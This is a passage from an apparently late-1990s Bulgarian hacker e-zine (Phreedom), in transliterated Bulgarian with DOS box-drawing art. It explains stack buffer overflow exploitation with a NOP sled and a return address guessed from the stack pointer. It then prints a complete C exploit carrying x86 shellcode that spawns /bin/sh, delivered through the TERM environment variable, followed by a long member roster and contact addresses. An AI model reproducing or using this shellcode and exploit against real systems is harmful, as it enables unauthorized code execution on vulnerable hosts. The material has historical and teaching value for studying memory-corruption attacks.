problem pri napiswaneto na exploit e, che nikoga ne move da se zn º ºae s tochnost kyde da sochi return-adresa. Tyj kato SP ne se promenq syshte º ºstweno, movem da izpolzwame SP za exploita plus nqkakyw offset, w kojto bi º ºtrqbwalo da popadne bufera na vulnerable programata. Tozi offset move da wa º ºrira w nqkakwi granici, no za da raboti exploita e neobhodim tochen adres. º ºTogawa she napylnim nachaloto na bufera sys NOP-instrukcii, sledwani ot she º ºll koda i return-adresa. Kogato izpylnenieto na programata se wyrne nqkyde º ºw granicite na NOP-oblastta, procesora shte prodylvi dokato izpylni i shell º ºkoda. Stringa, s kojto shte prepylwame bufera shte izglevda shematichno she º ºmatichno predstawen taka: º º º º º º º ºEto go i realizirano w kod na C: º º-sploit4example3.c--------------------------------------------------------- º º#include º º º º#define OFFSET 0 º º#define BUFFER_SIZE 512 º º º ºchar shellcode[] = º º "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" º º "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" º º "\x80\xe8\xdc\xff\xff\xff/bin/sh"; º º º ºunsigned long get_sp(void) { º º __asm__("movl %esp,%eax"); º º} º º º ºvoid main(int argc, char *argv[]) { º º char *buff, *ptr; º º long *addr_ptr, addr; º º int offset=OFFSET, bfsize=BUFFER_SIZE; º º int i; º º º º if (argc > 1) bfsize = atoi(argv[1]); º º if (argc > 2) offset = atoi(argv[2]); º º º º if (!(buff = malloc(bfsize))) { º º printf("Can't allocate memory.\n"); º º exit(0); º º } º º º º addr = get_sp() - offset; º º printf("Using address: 0x%x\n", addr); º º º º ptr = buff; º º addr_ptr = (long *) ptr; º º for (i = 0; i < bfsize; i+=4) º º *(addr_ptr++) = addr; º º º º ptr += 4; º º for (i = 0; i < strlen(shellcode); i++) º º *(ptr++) = shellcode[i]; º º º º buff[bfsize - 1] = '\0'; º º º º memcpy(buff,"TERM=",5); º º putenv(buff); º º system("/bin/sh"); º º} º º--------------------------------------------------------------------------- º º º ºTazi programa shte setne promenliwata TERM, sled koeto shte pusne now shell º ºTogawa pri izpylnenieto na example3 s malko kysmet, shte se pepylni buf[].. º ºI ideqta e qsna w obshti linii. º º º ºP.S. Errr... imam dylboki symneniq, che exploita nqma da proraboti. Pri men º ºna Linux 2.0.35 + Solar Designer's Non-executable Stack dawa core dump, no º ºnqma warning w log-a, a w momenta ne moga da go probwam drugade. Kojto go º ºpodkara, da swirka... º º º º [To be continued] º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º Telefonen Ukazatel http://fast.to/phm º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ º º ^ º º Niama takyw gligan tuka weche. Ste go tursite na home page-aúÄÙ na PHM. º º º Ç Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º Ú¿Ú¿ Úú ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»º º ³³³³embers ³ ist of ANTI-BTC Organization... ³úWseki, kojto velae moveú³º º ÀÀÙú ÀÄÄú Ú´ da stane chlen na ³º º À³ Anti-BTC ³º º Maniax Killerian - Founder Ã Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä ´º º EXo - Designer, Coordinator ³ Prastajte zaqwki na ³º º WEB Master, ASCII Art Ú³ Phreedom.ap@usa.net ³º º À´ Subject: Join Phreedom ³º º ³ú Body: Nick+email ú³º º ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼº ºúĶ High Level Members ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄ Ä úº º CuMeoHoB Kay º º DJ0K ManiaX - Anti-BTC founder º º Dr. Flip Flop {MANIAC} º º EXo Solar Eclipse º º H4ck3r Star Gruhtar a.k.a oXyGenE º º HoJo Stalker a.k.a. Stoma º º IronCode TOKATA º º XDM º ºúĶ Low Level Members ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄ Ä úº º º º Al'oholic º º Angel_K JonnyB º º Aquila10 Joseph º º Aryan Kambo º º AtilaXak {Kermit} º º Atilla King killer º º Avatar KiroCobeto º º BadCluter MaStEr_R º º Bebo Master of Magic º º Beton METALISTA º º BigBoss Mefisto º º BlackByte Megakiller º º blurmind Mentor º º BNN Mitrandir º º Chaos Maker Mixx º º CVM MMM º º CyberManiaC MUTANT º º |creep| RinBP º º da Destroyer Reket º º Dark Doomer OvenDelon º º Dark Lord Pfloyd º º daNetizen PoweRG º º Defekt PyMeH º º Dephlector Real Ender º º EDAC S º º Excessmind Sanga º º Fagin Santah º º FoX Sauron Mordorski º º FireBall SKELEPHON º º Fil SK8 º º FlyMan Sk8Boy º º Fufi Slunchice º º GoodStuff Smokie º º Gotin SnOOpY^ º º Goshino sonicman º º HackMan-KKND SongBird º º HAHOHIHI SPiTE Master º º Haz Temiuki Daykatana º º Hipodislky The Saint º º icho TYPYK º º Joal Ultra Violet º º JOJO Undertake º º Joe_S VeS º º Joker VoodoRush º º JJ Xtreme º º º º Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä¶ º º º ú ú _ º º Where to find Phreedom? ÀÂÂÄÁ¿ . . * ` \ . . º º ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ú´ Ãú ú¿ . __* *| \ . º º úÃú ³ ú ³ ___*___* / º º http://fast.to/phm ÚÁ´ úÚÁÄÙ . . __*- |*- . . º º ú ³ ú ³ *- | * , º º ili ÀÂÁÂÁ¿ . * , = a | n º º ÚÙ ú Ãú * n c | e n t . . º º mailto:Phreedom.ap@usa.net Àú ú´ . . EXo º º subject:Subscribe Phreedom úÃÄ¿ -=========================- º þ ÚÁÁúú Ancient Pain Inc. þ ù ú ù ú ú